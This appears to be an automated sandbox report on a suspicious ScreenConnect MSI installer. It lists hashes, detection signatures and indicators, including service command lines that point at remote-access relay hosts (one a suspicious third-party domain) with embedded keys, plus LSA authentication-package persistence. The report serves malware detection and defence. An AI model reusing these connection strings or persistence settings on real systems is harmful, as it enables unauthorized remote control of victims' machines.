Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/11/2026, 18:14
Static task
static1
Behavioral task
behavioral1
Sample
ScreenConnect.ClientSetup.msi
Resource
win10v2004-20260911-en
windows10-2004-x64
28 signatures
150 seconds
Behavioral task
behavioral2
Sample
ScreenConnect.ClientSetup.msi
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
26 signatures
150 seconds
General
- Target ScreenConnect.ClientSetup.msi
- Size 9.8MB
- Sample261104-wvs4saeb75
- SHA256 0dae8c81fe93b0fea54b4469dc129913b282bac7cd909089848062344a8387fd
- MD5 be6fdaf1e89a7815bf1dc0f9981974d4
- SHA1 400156d4aef7e2faa089aff77d2e21bc8f136199
- SHA512 35e8bc8c43a98aa01980c4c3ee4c7882f0d35ab246573cd3605f6fec4a2bd51938281dae7300e2f8fa3ba7061ed05fe4eda77d419ef56c2eea9a4031eca1b3ea
- SSDEEP 196608:lFrg904SOLfY5V1vFrg904SOLmFrg904SOL6Frg904SOL:lFri04SOLgX1vFri04SOLmFri04SOL6g
- TLSH T117A6237262F8D125E2F34639FE7992E1583A7D51ED12C01F5B28381EA271E808A77377
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 2920 msiexec.exe 7 2920 msiexec.exe 10 4952 rundll32.exe - Sets service image path in registry 3 TTPs 2 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (49a070471c576876)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (49a070471c576876)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-w7s1p5-relay.screenconnect.com&p=443&s=0bcc4f3a-b7d2-4528-807d-46b60c227921&k=BgIAAACkAABSU0ExAAgAAAEAAQD1TRuQHPv4XLHGYXZOUju47MMnDayuk0pS0x61pZmFiNPYoEo%2fhwz5kqFOUT7G3yOWyxU%2bZadbBEzauYYNJTbIAT20dd0j1hDFx5BgFSXcMNdMR%2bEiYmRdri1SkZrodTF9i4yzP%2bszQ9xIxQteznfs9zZzX1Qj6X3epDyevFh5aJ1tRpfmO7mnzZznr799t27YKTT8Tvw6KheOAIjhvqNwPNzLecIvdwpcGjzx0MC6DrUb3vqeZEbP%2bhv3uoc6jyHzH4vmeiuV9%2bTc4h3KOqH%2bYJtjszXAiiNdifbKmErtgFvWMyZHojJ6uZQ9abkH8TnuagLAcdXKSpBpjD1mR7Pi&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAq6xUWLhImkuWD859WyIRjgAAAAACAAAAAAAQZgAAAAEAACAAAACgkmzM2QRfLvqXUwQJh0c4smuIYRuXiCB1lIcn8DOq5wAAAAAOgAAAAAIAACAAAACnfK2bxxAlQGr53Didyrv55T8L2E2Jf%2boJqQK3huHZt6AEAADsJ%2b0azF3MsUFT%2bC97q1JKo2ODzcj%2fDaPw0bkXOup0t8Qy9sPK3aInW%2fiRaEmLfnBbNBzp11JUCV8vrUerCcuq0fb7milXsXcK13X6pc%2bPQ8Ysrn3BUCJ2ATneUKVRhuq6NCO8Ly7pa4iWYux79OaGrFyrXwOMX3OH0aNAP8NI1zciatALUryy2iukdEWkMvUWZRackrmt1SdtWjAQb17QrsysQu457FJpe3VNOrnJ9%2bNLEeETCWNca6S544Xn9z%2f%2fke%2fU8ydfGsYKu1ZeX9T1WvDlaePnfPk9MbAj4btiAlZGNC7LqTYsGLAwi7158GcKZpQfysb9%2btb%2bWpyuTmc%2fjkQ%2fFDAeBdU5TP7Fe2x2JR%2bVa3k4hsT7tu085%2b4Go3L9b0q7IHytaUL320AfwHzpi%2b0mAdLVnf4MCVuuLghqQdYp5LotDG0u7VGVYoA52Uz%2fwmz%2f1aMiHu6cQ44K45omirPxpVcm%2bviLGmMO2nlFd3MK2%2bqQGBV2zauZSmINJ66KyU1P7QnSJlKSzWRqzzsNpHE3gbzE0bZYBnzPZ8EUje%2bTqTfeUXDwFy3JvsIHPVZ782YfrKeUqvyFBFBgNTFTvx5leEClPudyp%2fjlfPrPoyzQzltCH%2fJnskBkGyBWbVLaJSJkkKyUBpeYO321qHA37s187GlKWhWiToIkSTFJXlUzL5up1rUpjUF4H%2bomArhNZVnz%2bkgQJ6Oi69Upm4j8rRqIFN2cxO4DMn9doARvnWx4aiDXdZsXRT7%2bNiZMotsBjilEQgqDH4jep5gRs%2fGssRjfLdEAB%2bQBwHR4WtiAVQLtHsmLqJM24Y%2fYEguSiBdy%2b5yK6qpd5JhtED0ZVY2r9oAE0JS2lElfTZeLSpY2%2bqJulyFJIY%2f5HSkmIcOKZP2NX6FYm86S%2fF5qQSGM75VblRA4K923o9%2fh9saxpO6lP1pvvMpXn832BYlJo8PLGHnGIYdomsyLrf6SqbQFKHjPX5vANB%2fWt5LNvN3cHLEgI%2b8zqoDhDUPOqXoSTqA900ufKf7OABYLMlNksuecONgI%2f7OmNUBZx1MmyJ2vwuOOUl6C2UHeKSJlLEzNGzn6wNhf%2bFnTTjOrBAzsP1vt8HyF%2buRh3QJu9P4pdNdyPSzOefNWzPVX9k31qh6msl7j5V0MMti7p0A8NuK7L%2fVR49UprKlbltnBZVJ8XtjF2Nrv4xYlr98exOvi6aHNznvFYnUtpL7RWy6LJXV7CZbn3a8jQmGP5hEWpeUfPq%2fB0m0E9NGZ782fcYlG6QzttFK8GW8C2Aze538Fa4nwmjaz3FpdxKpdLUT6t58PPcEedGeOZmHDdBusMFrXi06gUEalRK04PkBGbnLAOSfSbxcQlPgzy4Q8GMuAYyglWM8lKek9oR6BDJJhNkLam3GOGLLYqQSecSQGl1aS4hidyNoD8y0HsWRWtRskbwr4SW%2b6IT1zYO0WXFvrVXhbgS28avevDoW4vjsq7Ut1T4blL2%2fpSs1PEj8jxTbenboREfssbKEfTOZfllPyOaqW%2b0%2bdprR2m2uPB0vqhmXxiHXRHHPpTdNo7cd6KHcK%2fmFl1LhVR5PCaUAAAABIXVVppKzAI6DgUB8THt%2bzgBwb5TMsKvWgGem8o%2b2P5w5w%2fH3IK2s2LLkoekae10vhM5sTmmylinQ3%2fGz83WmM\"" ScreenConnect.ClientService.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (c9d1de8d414be81e)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (c9d1de8d414be81e)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=conn.urutanbersalin.com&p=8041&s=265a5ad1-0ad5-4bec-8c6a-549f8f489490&k=BgIAAACkAABSU0ExAAgAAAEAAQBVf8bIwJBp4sEsxZWKRamyGhEyaxjTDoI%2bBsgr%2bAx2nQqFy31gVdMJ5pvndsuilURxTKFliAB8P3Ro0Vweq1Fvz1yocBV1IY1AKl7GO4QRPyHGI7dV%2fOw8X3MLRzbhhzPUyOWsl4OXus3DM2le1fOXmkFUaUPnn63yNNoTgQ%2fg95eYWkjMBT5ScZms1juxDXB1LBqKzpYWpCyn90dC9%2fXt0hOTb2oEK%2bxfpG223CQk4LyzuwdC4Bs8lrUcbtSd0UPcbQzGqzu18RpktXsfIbtiRbzHZD5kPMetdwxh1KMHufY1TDyUGWQZctg2FqPjpYpBxQWBIPM4YIlMIL3uI7Gn&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAq6xUWLhImkuWD859WyIRjgAAAAACAAAAAAAQZgAAAAEAACAAAABkQhICi3A2YFvubKavXw0WTRsA77rD2I%2bsUlSaU5WrnwAAAAAOgAAAAAIAACAAAACSGI2nIKGyA%2fi21Pc4ejFhj6q3aXoHHsHOGZUvYff%2foaAEAAArQ4r2q7ka3t5mkctZpz7vLcrrO45Z3588FVV6fhU4DX1MZ%2fBjZZPc%2b4PpiozhwgEwvGfjUWPs9rVOU1pGpXCcOthByoLwaP0WnYBrZNdmfC2z3KXyAOS9Wcuuih%2f%2fMja23u4t9PGIgiAOrU2V%2fvQ%2b8ggWPtFT97rO%2fcg8YTC0WFmaGjuT5LfdOsVJwU3ANY%2bzsI8YUnh0Yh%2bDlNGdR9V852p728ZdsUWZx6hNdkmmT4aTJSKT7rpg9O0X3KQcbx%2fHSbNK2o1HvWeAM%2bY%2b9%2baD8l%2biHoGhMSuKY8d58kzPt7Zyqv6ChHrN3o%2fcgd%2ftrcjYBUExMsqyik%2bjaTHs0Ki5NG9WiAWiuVA%2f6sTMlePo9lXDv2%2bU6O4rNtIDHdHdsp0DwG0Hilc%2blyib%2fo5GzNhrQ4G1Y2RyAdybsvSwa6NfCuGdTHR5aL34tJc1MVezmRB%2b4OCjXwrk3wx2h3c%2bs1Mg%2fYeeL9VAOzjQFuCzyPCvsrlRcIJoOk%2fpxsMVQNYvB%2bCbZ2AGNq6ZjEylowmD836b0ydYV%2f8JA0gC%2flT%2byZj1utUlprtJ9yNReC3WuNLZRD1WKpZmJ4iaVZlCFVsksUdRWE3Z7xdYx2%2bkzi89igujhrMtyVXfY%2bK5X6KqRVtv0qqcKH06F5cVx3vRgQgiJnAzUMhtWDQXat9GjWXetMch%2fie%2fvNo7yfBgXnMrkTF8kir%2bZPB52rjih%2b0NC4FWblkwUheQ%2bpE38X8eGyp8qAgDzmC5t1BI1pZimseJZKM%2b%2bqcZWj5R4zLYovFhfqlCdEknK9SdpvLvMWdDLuvTU7%2fhLvvVw%2b0nLHmO0K49nveCiJht%2bJIGXpyAlvzGV1Q7BdjmPhXSdSCWpw7Mb2kZgrDAMkp6KOsh00DKTJrxI7ErAFDvSoHsdgomBLNPsr5%2bedxZ2AfQfcsyoa9T8OpqBHCre5VKFvue14EzRQkY5MpuoP75vefFxRzxIvE6r9IGQvzEow4ouXfcf5SGR5RT0X4KWfDFMEl6hYLcy%2bhgVDNvxB%2bEQsZXqx1zHWlhkIfeVek3J0mRvCrdNnPhirAeKde031bww1%2bRSxohxYN2DYRtzfGJCQxL%2bq81%2fL1u2LUJ32Qlr7mbg2F2F%2fpEOrjHhh%2bdJsMfWFun7vIJX%2fBAU9cGIXy7vBCWXQ1u%2fTVipiiR%2bw%2ftTB9p30QRnqfD6l2tOQBsphz5iJBoJlEzTTpYWV3Yd0j7G5YrIWc%2f2rd1fsQi7yVgEOO1Q1TWW1C%2fsxQA8PRu2LWWpWlQCd%2bnoNVSkO%2bDPDok4T0pJiHX4pe8F7552p2fTblnwFOVpG12fMAjGBuWhjDMsjVJzEFUwkhq4brhtlpYZ9riR%2fKIHiwW9tdbN%2f7mHWzq%2fmnZLBIt%2bzWoXWj%2bzjZLS45mTindoJ9WndoT4BgSxhLZ7Umc1nOU5DyymCAYLM8KMCwvB%2fH%2fiEWJgQ2ctd3pbh%2bEMWLXjPtTGsTkjH0s6T9vt6ToQ0xNzka6IPo1nUQ6aIwsYO%2fO7965SVFx7pcVyhE%2biNKlEKtXWCSmQPA%2brPXQryjM5WYLG24sGML%2bzvPbFGbILmqa0I%2fGHhNOSEAAAABTEG19BPB4a4KOTz8BF6%2fu%2bgMpRG8NR%2b7dWV94TmDeg8aHuLDhd6CMU6CtZzygXPGpjJf7ibqKhrEWFzfvkk4s\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral1/memory/2216-293-0x0000000003FB0000-0x0000000004085000-memory.dmp revoked_cert_connectwise - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\M: msiexec.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340039006100300037003000340037003100630035003700360038003700360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340039006100300037003000340037003100630035003700360038003700360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800630039006400310064006500380064003400310034006200650038003100650029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 28 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\alffkxzb.newcfg ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (c9d1de8d414be81e)\qtsqs3bc.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\oefj51wp.newcfg ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\alffkxzb.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\ik1ku00g.tmp ScreenConnect.ClientService.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\ik1ku00g.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\oefj51wp.tmp ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\user.config ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\alffkxzb.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (49a070471c576876)\ik1ku00g.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db ScreenConnect.WindowsBackstageShell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db ScreenConnect.WindowsBackstageShell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (c9d1de8d414be81e)\qtsqs3bc.newcfg ScreenConnect.ClientService.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Drops file in Program Files directory 33 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\Client.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\system.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (49a070471c576876)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (c9d1de8d414be81e)\system.config msiexec.exe - Drops file in Windows directory 32 IoCs
description ioc Process File created C:\Windows\Installer\{8B6EC1D3-2C7E-D584-384E-0918A39A3546}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\ScreenConnect.Windows.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI2D7E.tmp msiexec.exe File opened for modification C:\Windows\Installer\{874F1703-B345-4752-D947-74E2297C78A6}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\ScreenConnect.Core.dll rundll32.exe File created C:\Windows\Installer\e5881d4.msi msiexec.exe File created C:\Windows\Installer\SourceHash{874F1703-B345-4752-D947-74E2297C78A6} msiexec.exe File created C:\Windows\Installer\{874F1703-B345-4752-D947-74E2297C78A6}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI2FE1.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI83E2.tmp msiexec.exe File created C:\Windows\Installer\wix{8B6EC1D3-2C7E-D584-384E-0918A39A3546}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\e5881d0.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI8373.tmp msiexec.exe File created C:\Windows\Installer\e5881cf.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File opened for modification C:\Windows\Installer\MSI2DFC.tmp msiexec.exe File created C:\Windows\Installer\e5881cd.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\{8B6EC1D3-2C7E-D584-384E-0918A39A3546}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\CustomAction.config rundll32.exe File created C:\Windows\Installer\e5881d0.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\Installer\wix{874F1703-B345-4752-D947-74E2297C78A6}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\e5881cd.msi msiexec.exe File created C:\Windows\Installer\SourceHash{8B6EC1D3-2C7E-D584-384E-0918A39A3546} msiexec.exe File opened for modification C:\Windows\Installer\MSI2B6A.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI8606.tmp msiexec.exe - Executes dropped EXE 10 IoCs
pid Process 2144 ScreenConnect.ClientService.exe 1580 ScreenConnect.WindowsClient.exe 940 ScreenConnect.WindowsClient.exe 5060 ScreenConnect.WindowsClient.exe 4644 ScreenConnect.WindowsBackstageShell.exe 1348 ScreenConnect.WindowsClient.exe 2216 ScreenConnect.ClientService.exe 4256 ScreenConnect.WindowsClient.exe 4816 ScreenConnect.WindowsClient.exe 2984 ScreenConnect.WindowsClient.exe - Loads dropped DLL 64 IoCs
pid Process 3240 MsiExec.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 5112 rundll32.exe 3240 MsiExec.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 4952 rundll32.exe 3240 MsiExec.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 940 rundll32.exe 4796 MsiExec.exe 1436 MsiExec.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 2144 ScreenConnect.ClientService.exe 4976 MsiExec.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4536 rundll32.exe 4976 MsiExec.exe 4976 MsiExec.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe 2216 ScreenConnect.ClientService.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 2920 msiexec.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 14 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.WindowsClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.WindowsClient.exe Key value queried 